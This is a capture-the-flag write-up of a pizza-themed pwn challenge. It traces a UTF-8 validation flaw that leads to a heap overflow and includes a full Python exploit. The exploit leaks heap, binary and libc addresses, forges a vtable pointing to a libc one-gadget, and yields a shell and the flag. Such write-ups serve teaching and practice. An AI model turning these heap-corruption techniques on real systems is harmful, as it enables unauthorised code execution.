We’re given a binary called mario which (stereotypically) simulates a pizza bakery in Italian English.

A first investigation shows that Mario is not happy with our pizza:

Wellcom my friende!! It's-a me, Mario! Ready for pizza italiana vera?
------------------- MAIN MENU -------------------
(N)ew customer
(L)ogin as customer
(E)xit
Choice: N
Hello, what's your name? kirschju
>> Welcome kirschju
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
(L)eave
Choice: O
>> how many pizzas? 1
Ordering pizza #1
>> how many ingredients? 1
Tell me ingridient #1: Tomato
Order is complete, thanks!
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
(L)eave
Choice: C
Before I start cooking your pizzas, do you have anything to declare? Please explain: Nope
-------- COOKING PIZZA #1 --------
Adding ingredient: Tomato
Cooked new pizza:
BadPizza: Tomato
found non-approved pizzas. come on.
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
(L)eave
Choice: A
Admire these beauties... (1)
Nothing to admire here, pretty bad stuff...
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
(L)eave
Choice: L
see you kirschju
------------------- MAIN MENU -------------------
(N)ew customer
(L)ogin as customer
(E)xit
Choice: E
Ooookay, ciao!

Let’s find out what non-approved pizzas are. Opening the program in IDA pro yields (among code handling the menu logic) the function Customer::cook_pizzas() at address 0x28fe which scans the given ingredients for the strings b"\xf0\x9f\x8d\x85", b"\xf0\x9f\x90\x94", b"\xf0\x9f\x8d\x8c" and b"\xf0\x9f\x8d\x8d". We quickly realized that these seem to be UTF-8 encoded strings, and indeed, rendering them in a UTF-8 compatible font yields pictograms of a tomato (🍅), a chicken (🐔), a banana (🍌), a pineapple (🍍) and a pile of shit (💩, yes, really). The logic of the cook_pizzas() function scans the ingredient list and classifies pizzas into three categories, based on the ingredients: ApprovedPizza, BadPIzza, and CriminalPizza. Funny enough, if Mario finds a pineapple in the ingredient list, he will grumpily kick you out of his pizzeria:

      if ( v18 )
      {
        printf("HOW IS IT POSSIBLE??? %s here?? How could this order get here? this pizza is criminal.\n", &pineapple);
        printf("And this is the only thing you could say about your order: %s\n", a1->declaration);
        puts("are you serious?");
        upset = a1;
      }

Let’s try this:

Wellcom my friende!! It's-a me, Mario! Ready for pizza italiana vera?
------------------- MAIN MENU -------------------
(N)ew customer
(L)ogin as customer
(E)xit
Choice: N
Hello, what's your name? kirschju
>> Welcome kirschju
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
(L)eave
Choice: O
>> how many pizzas? 1
Ordering pizza #1
>> how many ingredients? 1
Tell me ingridient #1: 🍍
You serious? PINEAPPLE? Tu sei un pazzo, get out. https://youtu.be/J6dFEtb06nw?t=27
OUT!
------------------- MAIN MENU -------------------
(N)ew customer
(L)ogin as customer
(E)xit
Choice: n

Hmm … Seems as if Mario wouldn’t even allow us to include pineapples within the order in the first place. The relevant code is at address 0x276e in function Customer::order_pizza():

      while ( j <= num_ingredients )
      {
        printf("Tell me ingridient #%d: ", j);
        read_safe((unsigned __int8 *)&new_ingredient, 0x14u);
        if ( (unsigned __int8)valid_utf8(&new_ingredient) ^ 1 )
        {
          puts("what is this? not capisco. I only speak utf8");
        }
        else
        {
          if ( strstr(&new_ingredient, &pineapple) )
          {
            cust->kicked_out = 1;
            puts("You serious? PINEAPPLE? Tu sei un pazzo, get out. https://youtu.be/J6dFEtb06nw?t=27");
            v1 = 0;
            goto LABEL_16;
          }
          std::allocator<char>::allocator((__int64)&v3, (__int64)&pineapple);
          std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
            (__int64)&v10,
            (__int64)&new_ingredient,
            (__int64)&v3);
          std::allocator<char>::~allocator((__int64)&v3);
          ingredient_vector::insert((__int64)&v9, (__int64)&v10);
          ++j;
          std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v10);
        }
      }
      pizza_vector::insert((__int64)cust->ordered_pizzas, (__int64)&v9);

This is already interesting. The function reads in a string from the user, checks whether it is valid UTF-8, checks whether it contains the unicode sequence of a pineapple, adding it into a std::vector of ingredients otherwise. This vector is then inserted into the list of ordered pizzas of the current customer. So pineapples must be interesting, let’s see whether we can benefit from making Mario angry.

Exploitation

And indeed we can! It turns out that in case Mario is angry, we can justify our unreasonable order once, but no matter what we say, Mario is gonna kick us out anyway. The relevant code is the switch statement starting at address 0x2016:

    switch ( (unsigned int)off_7A58 )
    {
      case 'A':
        if ( v3 != 1 )
          Customer::admire_pizzas(current_customer);
        break;
      case 'C':
        if ( v3 != 1 )
          Customer::cook_pizzas(current_customer);
        break;
      case 'L':
        goto LABEL_2;
      case 'O':
        if ( v3 != 1 )
          Customer::order_pizza(current_customer);
        break;
      case 'P':
        if ( v3 )
        {
          printf("last chance, explain yourself: ");
          read_safe((unsigned __int8 *)current_customer->declaration, 0x12Cu);
          puts("too bad, no explanation is reasonable. BAM BAM BAM!");
          current_customer->kicked_out = 1;
        }
        break;
      case 'Y':
        if ( v3 )
          current_customer->kicked_out = 1;
        break;
      default:
        printf("mmm '%c', what's that? I donn't understande, Mario confused\n", (unsigned int)v2);
        break;
    }

The code contained in case P caught our interest: Our justification is placed within current_customer->declaration, with a length of 0x12c bytes.

Finding an overflow

However, when the buffer is allocated (that’s the part when Mario asks us whether we have anything to declare when cooking our Pizzas), the actual buffer length depends on the original string entered:

  printf("Before I start cooking your pizzas, do you have anything to declare? Please explain: ");
  read_safe((unsigned __int8 *)src, 0x12C);
  v1 = strlen(src);
  cust->declaration = (char *)malloc(v1 + 1);
  strcpy(cust->declaration, src);

So turning Mario angry will give us the possibility of overwriting objects on the heap. The challenge now is to have a pineapple on a Pizza when cooking without triggering the pineapple check when composing the ingredient list. Which is of course impossible, right?

UTF-8 is hard

Luckily for us, Mario is a bit sloppy when it comes to encodings. Our input must be valid UTF-8 according to the function starting at 0x1974:

signed __int64 __fastcall valid_utf8(const char *a1)
{
  unsigned __int8 v2; // [rsp+1Fh] [rbp-11h]
  bool bit6; // [rsp+21h] [rbp-Fh]
  bool bit5; // [rsp+22h] [rbp-Eh]
  bool bit4; // [rsp+23h] [rbp-Dh]
  int v6; // [rsp+28h] [rbp-8h]
  int v7; // [rsp+2Ch] [rbp-4h]

  v6 = 0;
  v7 = strlen(a1);
  while ( v6 < v7 )
  {
    v2 = a1[v6];
    bit6 = (v2 & 0x40) != 0;
    bit5 = (v2 & 0x20) != 0;
    bit4 = (v2 & 0x10) != 0;
    if ( v2 >> 7 == 1 )
    {
      if ( bit6 && bit5 != 1 )
      {
        if ( a1[v6 + 1] >= 0 )
          return 0LL;
        v6 += 2;
      }
      else if ( bit6 && bit5 && bit4 != 1 )
      {
        if ( a1[v6 + 1] >= 0 || a1[v6 + 2] >= 0 )
          return 0LL;
        v6 += 3;
      }
      else if ( bit6 && bit5 && bit4 && ((v2 & 8) != 0) != 1 )
      {
        if ( a1[v6 + 1] >= 0 || a1[v6 + 2] >= 0 || a1[v6 + 3] >= 0 )
          return 0LL;
        v6 += 4;
      }
      else
      {
        if ( bit6 == 1 || bit5 == 1 || bit4 == 1 )
          return 0LL;
        ++v6;
      }
    }
    else
    {
      ++v6;
    }
  }
  return 1LL;
}

This looks good at a first glance, but based on the fact that the pineapple must appear in the concatenated string of all ingredients, it becomes immediately clear that it is possible to embed a pineapple in two consecutive ingredients. For example, the two ingredients 0xe0 0xf0 0x9f and 0x8d 0x8d satisfy the UTF-8 check above and contain 0xf0 0x9f 0x8d 0x8d (pineapple) when concatenated.

Abusing the memory corruption

Yay! Now we can write up to 0x12c bytes after a buffer on the heap. To understand the actual exploitation sequence, we need to know that there are multiple interesting objects on the heap:

• Customers:

  struct Customer
  {
  __int8 *name;
  char ordered_pizzas[24];
  char *declaration;
  char cooked_pizzas[24];
  char unk3;
  char kicked_out;
  char padding[6];
  };
  

• cooked pizzas which are either CriminalPizza, BadPizza or ApprovedPizza (these contain virtual functions)

• ingredient std::vectors containing ingredients as strings

• pizzas std::vectors containing ingredients vectors

• various strings (declaration, customer name, ingredients themselves)

As the binary is compiled fully PIE and ASLR is active, we first need to construct several leaks by overwriting string pointers of ingredients contained in uncooked pizzas and then cooking them (making the program print out the ingredient names). At a high level, our exploit performs the following steps:

1. Leak a heap address using a partial overwrite
2. Leak the base address of the ELF using a pointer to a virtual function table
3. Leak the base address of libc from the GOT contained in the ELF
4. Construct a fake object in memory containing a pointer to a fake vtable pointing to a win gadget in libc.

To achieve the separate steps, we played a lot with the lengths of the strings we can feed into the program, until we found a combination that turned out to work.

Final exploit

The final exploit:

#!/usr/bin/env python3

import socket, struct, subprocess, telnetlib

REMOTE = True

sock = socket.socket()

if REMOTE:
    sock.connect(('83b1db91.quals2018.oooverflow.io', 31337))
else:
    sock.connect(('localhost', 55555))

p = lambda x: struct.pack("<Q", x)

def solve_chall(sock):
    until(sock, b"Challenge: ")
    chall = sock.recv(10)
    until(sock, b"n: ")
    n = int(sock.recv(2))
    print(chall.decode(), n)
    p = subprocess.Popen(["./a.out", chall, "{}".format(n)], stdout =
            subprocess.PIPE)
    ans = p.stdout.readlines()[0]
    until(sock, b"Solution: ")
    print(ans)
    sock.send(ans)

def until(sock, s):
    tmp = sock.recv(1)
    while s not in tmp:
        tmp += sock.recv(1)

    return tmp

def sync(sock):
    until(sock, b'Choice: ')

def reg_user(sock, name):
    assert len(name) <= 299
    sync(sock)
    sock.send(b'N\n')
    until(sock, b'your name?')
    sock.send(name.encode() + b'\n')
    until(sock, b'>> Welcome ')

ING_TOMATO  =   b"\xf0\x9f\x8d\x85"
ING_CHICKEN =   b"\xf0\x9f\x90\x94"
ING_BANANA  =   b"\xf0\x9f\x8d\x8c"
ING_PINEAPPLE = b"\xf0\x9f\x8d\x8d"

global ORDERED_PIZZAS
ORDERED_PIZZAS = 0

def order_pizza(sock, ingrds):
    global ORDERED_PIZZAS
    sync(sock) 
    sock.send(b"O\n")
    until(sock, b"how many pizzas? ")
    sock.send(b"1\n")
    until(sock, b"how many ingredients? ")
    sock.send("{}\n".format(len(ingrds)).encode())
    for ing in ingrds:
        until(sock, b"Tell me ingridient #") ## typo on purpose
        sock.send(ing + b"\n")
    ORDERED_PIZZAS += 1

def admire_pizzas(sock):
    sync(sock)
    sock.send(b"A\n")

def cook_pizzas(sock, decl):
    global ORDERED_PIZZAS
    sync(sock) 
    sock.send(b"C\n")
    until(sock, b"Please explain: ")
    sock.send(decl.encode() + b"\n")
    for _ in range(ORDERED_PIZZAS):
        until(sock, b"-------- COOKING PIZZA #")
        until(sock, b"Cooked new pizza:")
        sock.recv(1)
        #print(until(sock, b"\n").decode())

def cook_pizzas_leak(sock, decl):
    global ORDERED_PIZZAS
    res = []
    sync(sock) 
    sock.send(b"C\n")
    until(sock, b"Please explain: ")
    sock.send(decl.encode() + b"\n")
    for _ in range(ORDERED_PIZZAS):
        until(sock, b"-------- COOKING PIZZA #")
        until(sock, b"Adding ingredient: ")
        res.append(struct.unpack("<Q", sock.recv(6) + b"\x00\x00")[0])
        #print(until(sock, b"\n").decode())
    return res

def login(sock, name):
    sync(sock)
    sock.send(b"L\n")
    until(sock, b"your name? ")
    sock.send(name.encode() + b"\n")

def logout(sock):
    sync(sock)
    sock.send(b"L\n")


def overflow(sock, pwn):
    sync(sock)
    sock.send(b"P\n")
    sock.send(pwn)

if REMOTE:
    solve_chall(sock)

#print(sock.recv(1024))
#################################
### Step 1: Leak heap address by partially overwriting a pointer to an ingredient of an uncooked pizza of customer B
#################################
reg_user(sock, "A")
order_pizza(sock, [b"x" * 0x8 for _ in range(2)])
logout(sock)

reg_user(sock, "B")
ORDERED_PIZZAS = 0
order_pizza(sock, [ b"\xe0\xf0\x9f", b"\x8d\x8d" ])
logout(sock)

reg_user(sock, "C")
ORDERED_PIZZAS = 0
order_pizza(sock, [b"F" * 0x10 for _ in range(2)])
order_pizza(sock, [b"G" * 0x10 for _ in range(2)])
order_pizza(sock, [b"H" * 0x10 for _ in range(1)])
#order_pizza(sock, [ chr(p).encode('utf-8') for p in ING_PINEAPPLE ])
#order_pizza(sock, [ b"\x00" + ING_PINEAPPLE ])
logout(sock)

login(sock, "B")
ORDERED_PIZZAS = 0
cook_pizzas(sock, "D" * 0x18)
overflow(sock, b"D" * 0x18 + p(0) + p(0) + p(0x21) + b"G" * 0x10 + p(0) + p(0x51) + b"\n")

login(sock, "C")
ORDERED_PIZZAS = 3
leaks = cook_pizzas_leak(sock, "0" * 0)
logout(sock)

heap = leaks[0]
print("[+] Leaked heap address: {:#x}".format(heap))

########################
# Step 2: With the knowledge of the heap, all relative distances are deterministic and we overwrite the string pointer of an ingredient of customer A with a pointer pointing to a vtable in the ELF
########################
reg_user(sock, "a")
logout(sock)

reg_user(sock, "b")
order_pizza(sock, [ b"\xe0\xf0\x9f", b"\x8d\x8d" ])
logout(sock)

reg_user(sock, "c")
order_pizza(sock, [b"e" * 0x8 for _ in range(1)])
logout(sock)

login(sock, "b")
ORDERED_PIZZAS = 0
cook_pizzas(sock, "d" * 0x20)

pwn = b""
pwn += b"e" * 0x20
pwn += p(0)
pwn += p(0x51)
#pwn += b"Z" * 0x40

pwn += p(0x0000555555772da0 - 0x555555772ea0 + heap)
pwn += p(0x0000555555772c90 - 0x555555772ea0 + heap)
pwn += p(0x0000555555772ca8 - 0x555555772ea0 + heap)
pwn += p(0x0000555555772ca8 - 0x555555772ea0 + heap)
pwn += p(0x0000555555772ea0 - 0x555555772ea0 + heap)
pwn += p(0x0000555555772f60 - 0x555555772ea0 + heap)
pwn += p(0x0000555555772f68 - 0x555555772ea0 + heap)
pwn += p(0x0000555555772f68 - 0x555555772ea0 + heap)

pwn += p(0x0) # was 0x101 (kicked out)
pwn += p(0x21)
pwn += p(0x555555772d50 - 0x555555772ea0 + heap)
pwn += p(0x555555772d90 - 0x555555772ea0 + heap)
pwn += p(0x555555772d90 - 0x555555772ea0 + heap)
pwn += p(0x51)
pwn += p(0x555555773030 - 0x555555772ea0 + heap)
pwn += p(8)

overflow(sock, pwn + b"\n")

login(sock, "A")
ORDERED_PIZZAS = 1
leaks = cook_pizzas_leak(sock, "0" * 0)
logout(sock)

elf = leaks[0] - 0x20bbe0
print("[+] Leaked binary base: {:#x}".format(elf))

###########################
# Step 3: Add three new customers and overwrite another ingredient of customer 2 with a pointer to the GOT (based on the ELF address from above), cook the pizzas of customer 2 and get the libc base address
###########################

reg_user(sock, "1")
logout(sock)

reg_user(sock, "2")
order_pizza(sock, [ b"\xe0\xf0\x9f", b"\x8d\x8d" ])
logout(sock)

reg_user(sock, "3")
order_pizza(sock, [b"z" * 0x10 for _ in range(1)])
logout(sock)

login(sock, "2")
ORDERED_PIZZAS = 0
cook_pizzas(sock, "d" * 0x10)

pwn = b""
pwn += b"d" * 0x10
pwn += p(0)
pwn += p(0x31)
pwn += p(elf + 0x20bf38)
pwn += p(0x8)

overflow(sock, pwn + b"\n")

login(sock, "3")
ORDERED_PIZZAS = 1
leaks = cook_pizzas_leak(sock, "0" * 0)
logout(sock)

libc = leaks[0] - 0x3c5710
print("[+] Leaked libc base: {:#x}".format(libc))

###########


reg_user(sock, "a1")
logout(sock)

reg_user(sock, "a2")
order_pizza(sock, [ b"\xe0\xf0\x9f", b"\x8d\x8d" ])
logout(sock)

reg_user(sock, "a3")
ORDERED_PIZZAS = 0
order_pizza(sock, [ ING_TOMATO ])
cook_pizzas(sock, "")
logout(sock)

login(sock, "a2")
ORDERED_PIZZAS = 0
cook_pizzas(sock, "d" * 0x20)

pwn = b""
pwn += p(0x555555773d78 - 0x555555772ea0 + heap) ## fake pointer chain pointing to the line below
pwn += p(0x555555773d80 - 0x555555772ea0 + heap) ## pointing to the line below
pwn += p(libc + 0x4526a) #win gadget in the provided glibc (lame, we know ...)
pwn += b"d" * 0x8
pwn += p(0)
pwn += p(0x51)
pwn += p(0x555555773e60 - 0x555555772ea0 + heap)
pwn += p(0x555555773f10 - 0x555555772ea0 + heap)
pwn += p(0x555555773f28 - 0x555555772ea0 + heap)
pwn += p(0x555555773f28 - 0x555555772ea0 + heap)
pwn += p(0x5555557741c0 - 0x555555772ea0 + heap)
pwn += p(0x555555773d70 - 0x555555772ea0 + heap) ## fake vtbl ptr
pwn += p(0x5555557743e8 - 0x555555772ea0 + heap)
pwn += b"\x01"

overflow(sock, pwn + b"\n")

login(sock, "3")
admire_pizzas(sock)

t = telnetlib.Telnet()
t.sock = sock
t.interact()

This gives a shell yielding the flag:

➜  pwn_itsame ./pwn.py
CV6sfDDc4h 22
b'8936238\n'
[+] Leaked heap address: 0x563d797aaea0
[+] Leaked binary base: 0x563d77b3a000
[+] Leaked libc base: 0x7fbe38cc8000
Admire these beauties... (207)
id
uid=1010(mario) gid=1010 groups=1010
ls
flag
cat flag
OOO{cr1m1n4l5_5h0uld_n07_b3_r3w4rd3d_w17h_fl4gs}